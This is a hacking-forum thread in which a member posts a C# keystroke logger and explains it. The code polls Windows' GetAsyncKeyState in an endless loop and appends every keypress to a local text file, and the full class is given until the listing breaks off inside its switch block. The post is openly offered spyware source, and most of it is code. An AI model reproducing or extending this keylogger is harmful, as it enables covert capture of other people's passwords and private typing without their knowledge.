• 🌙 Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

A simple keystroke logger in C# (1 Viewer)

Currently reading:
 A simple keystroke logger in C# (1 Viewer)

Recently searched:

sisu13

Member
LV
2
Joined
Oct 19, 2023
Threads
21
Likes
2
Awards
6
Credits
5,863©
Cash
0$
Imports


[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

Here, the program is tapping into the user32.dll – a Windows API. The function GetAsyncKeyState is employed to check the status of a keyboard key. If a key is pressed, this function yields -32767.

Main Method

static void Main(string[] args)
{
CaptureKeyboardInput();
}


This is the program's starting point. It simply kicks off the CaptureKeyboardInput() method which does the heavy lifting of keyboard capture.
CaptureKeyboardInput Method


private static void CaptureKeyboardInput()

This method is where the magic happens. It's designed to continually capture keyboard inputs.

The Infinite Loop

while (true)

The never-ending loop ensures that the program is always on the lookout, recording keystrokes as they occur.

The For Loop

for (c = (char)8; c <= (char)222; c++)

This loop cycles through characters, ranging from 8 up to 222, representing ASCII values for various keys.

The If Condition

if (GetAsyncKeyState(c) == -32767)

This condition checks to see if a key has been freshly pressed using the imported GetAsyncKeyState.

StreamWriter

using (StreamWriter writer = new StreamWriter("Record.txt", true))

This piece of code employs StreamWriter to pen down the keystrokes into "Record.txt". The true parameter ensures that new keystrokes get appended to the file instead of overwriting it.

The Switch Block

switch (c)


This switch block caters to various keystroke scenarios. In the shared code, several cases are commented out. However, the program does handle spaces and the Enter key.

Full class

class Program
{
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

static void Main(string[] args)
{
CaptureKeyboardInput();
}

private static void CaptureKeyboardInput()
{
char c;

while (true)
{
for (c = (char)8; c <= (char)222; c++)
{
if (GetAsyncKeyState(c) == -32767)
{
using (StreamWriter writer = new StreamWriter("Record.txt", true))
{
switch (c)
{
//case (char)8:
// writer.Write("<Backspace>");
// break;
//case (char)27:
// writer.Write("<Esc>");
// break;
//case (char)127:
// writer.Write("<Del>");
// break;
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom